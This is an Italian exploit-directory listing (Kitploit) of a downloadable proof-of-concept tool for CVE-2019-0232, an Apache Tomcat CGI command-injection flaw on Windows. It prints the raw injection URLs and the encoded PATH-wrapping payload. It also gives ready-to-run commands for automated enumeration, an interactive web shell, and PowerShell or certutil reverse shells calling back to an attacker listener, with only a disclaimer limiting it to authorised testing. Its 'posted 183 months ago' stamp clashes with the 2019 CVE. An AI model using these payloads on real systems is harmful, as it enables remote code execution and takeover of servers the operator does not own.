Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-0232 — Apache Tomcat CGI Servlet RCE (Windows) | Kitploit
Strumenti/GitHubGitHub/blackjuker2/cve-2019-0232
Scanner di VulnerabilitàGenerazione di PayloadExploitShellcodeSfruttamento di Applicazioni WebFuzzingPenetration TestingApprendimento e FormazioneStrumento di Accesso Remoto
GitHubblackjuker2/cve-2019-0232

CVE-2019-0232

Apache Tomcat CGI Servlet RCE (Windows)

183 mesi faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-0232 — Apache Tomcat CGI Servlet RCE

PoC educativo solo per CTF autorizzati / penetration testing.
Eseguirlo su sistemi di cui non si è proprietari o per cui non si ha esplicita autorizzazione scritta è illegale.


Panoramica della vulnerabilità

CVE-2019-0232 è una vulnerabilità di Remote Code Execution in Apache Tomcat su Windows.
Quando il CGI Servlet ha enableCmdLineArguments=true (impostazione predefinita su Windows prima della patch), Tomcat passa la stringa di query HTTP direttamente come argomenti della riga di comando al file batch CGI tramite Runtime.exec(). Su Windows, Runtime.exec() avvolge la chiamata con cmd.exe /c, rendendo attivo il separatore di comandi & all'interno di questi argomenti.

Un attaccante può iniettare un secondo comando del sistema operativo includendo & (URL-encoded come %26) nell'URL:

GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1

# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe vede & ed esegue whoami dopo che cmd.bat termina

Versioni affette (solo Windows)

BranchIntervallo vulnerabileCorretta in
9.0.x9.0.0.M1 – 9.0.179.0.18
8.5.x8.5.0 – 8.5.398.5.40
7.0.x7.0.0 – 7.0.937.0.94

Requisito: enableCmdLineArguments=true in conf/web.xml (predefinito su Windows prima della patch).


Caratteristiche

  • Modalità automatica — catena completa: enumera → fuzza i percorsi CGI → shell interattiva
  • Rilevamento versione — identifica la versione di Tomcat dagli header HTTP e dalle pagine di errore
  • Fuzzer percorsi CGI — multi-thread, wordlist incorporata + wordlist personalizzata opzionale (-w)
  • Comando singolo — esegue un comando e stampa l'output (--cmd)
  • Shell HTTP interattiva — ciclo REPL su HTTP, ogni comando è una richiesta nuova
  • Reverse shell — listener TCP integrato
    • Payload PowerShell Base64 (default)
    • Stager certutil (fallback)
  • Iniezione PATH — imposta automaticamente System32, Windows, Wbem, PowerShell in modo che whoami, ipconfig, netstat, powershell.exe funzionino senza percorsi completi
  • Unione stderr — 2>&1 aggiunto automaticamente per rendere visibile l'output di errore
  • Supporto proxy Burp — instrada il traffico tramite --proxy http://127.0.0.1:8080

Installazione

git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt

Richiede Python 3.8+.


Utilizzo

python3 cve_2019_0232.py -t <TARGET_URL> [options]

Modalità

FlagDescrizione
--autoEnum → fuzz → entra nella shell interattiva
--enumEnumera solo la versione di Tomcat e i percorsi CGI
--fuzzFuzza per endpoint .bat/.cmd accessibili
--cmd COMMANDEsegue un singolo comando
--interactiveCiclo shell HTTP interattiva
--reverse-shellAvvia una reverse shell (richiede --lhost)

Esempi

Modalità automatica — lascia che lo script trovi tutto:

python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto

Comando singolo su un endpoint noto:

python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami

Ciclo shell interattiva:

python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive

Catena automatica completa → reverse shell (nessun nc separato necessario):

python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444

Lo script apre il proprio listener TCP su --lport, spara il payload PowerShell e ti inserisce in una shell interattiva quando il target richiama.

Reverse shell PowerShell su un percorso noto:

python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat  --reverse-shell --lhost 10.10.14.x --lport 4444

Stager certutil (se PowerShell è bloccato):

python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil

Wordlist personalizzata per il fuzzing:

python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt

Le voci senza estensione vengono automaticamente testate come .bat e .cmd.

Instradamento tramite Burp Suite:

python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080

Mostra l'URL di iniezione grezzo prima di ogni richiesta:

python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url

Tutte le opzioni

posizionali / obbligatori:
  -t, --target URL        URL base del target  es. http://10.10.10.x:8080

percorso:
  -p, --path PATH         Percorso script CGI noto  es. /cgi/cmd.bat

modalità:
  --auto                  Catena completa: enum → fuzz → interattiva
  --enum                  Enumera versione Tomcat e percorsi CGI
  --fuzz                  Fuzza per endpoint script CGI accessibili
  --cmd COMMAND           Esegue un singolo comando e stampa l'output
  --interactive           Ciclo comandi interattivo (shell HTTP)
  --reverse-shell         Invia reverse shell PowerShell

reverse shell:
  --lhost IP              IP del tuo listener (usa tun0 per HTB/OSCP)
  --lport PORT            Porta del tuo listener (default: 4444)
  --shell-method {ps,certutil}
                          Tipo di payload: ps (default) o stager certutil

opzioni:
  -w, --wordlist FILE     Nomi CGI extra da fuzzare (uno per riga)
  --threads N             Thread di fuzz (default: 15)
  --timeout N             Timeout HTTP in secondi (default: 10)
  --proxy URL             Proxy HTTP  es. http://127.0.0.1:8080
  --no-ssl-verify         Disabilita verifica certificato TLS
  --show-url              Stampa l'URL di iniezione completo prima di ogni richiesta

Come funziona l'iniezione

Lo script costruisce l'URL di iniezione in tre passaggi:

  1. Iniezione PATH — racchiude il comando in un gruppo che imposta prima PATH:

    (SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
    

    echo. produce una riga vuota, soddisfacendo il parser header CGI di Tomcat in modo che il corpo della risposta sia visibile.

  2. URL encoding — gli spazi diventano +, i caratteri speciali diventano %XX tramite urllib.parse.quote.

  3. Punto di iniezione — il gruppo codificato viene posizionato dopo %26 (il separatore &):

    /cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
    

Testato su

  • Apache Tomcat 9.0.17 su Windows Server 2019
  • Python 3.11 / 3.12 su Kali Linux

Riferimenti

  • NVD — CVE-2019-0232
  • Apache Security Advisory
  • Exploit-DB #47073

Disclaimer legale

Questo strumento è fornito solo per scopi educativi e test di sicurezza autorizzati.
L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
Ottenere sempre un'esplicita autorizzazione scritta prima di testare qualsiasi sistema.

Scarica lo strumento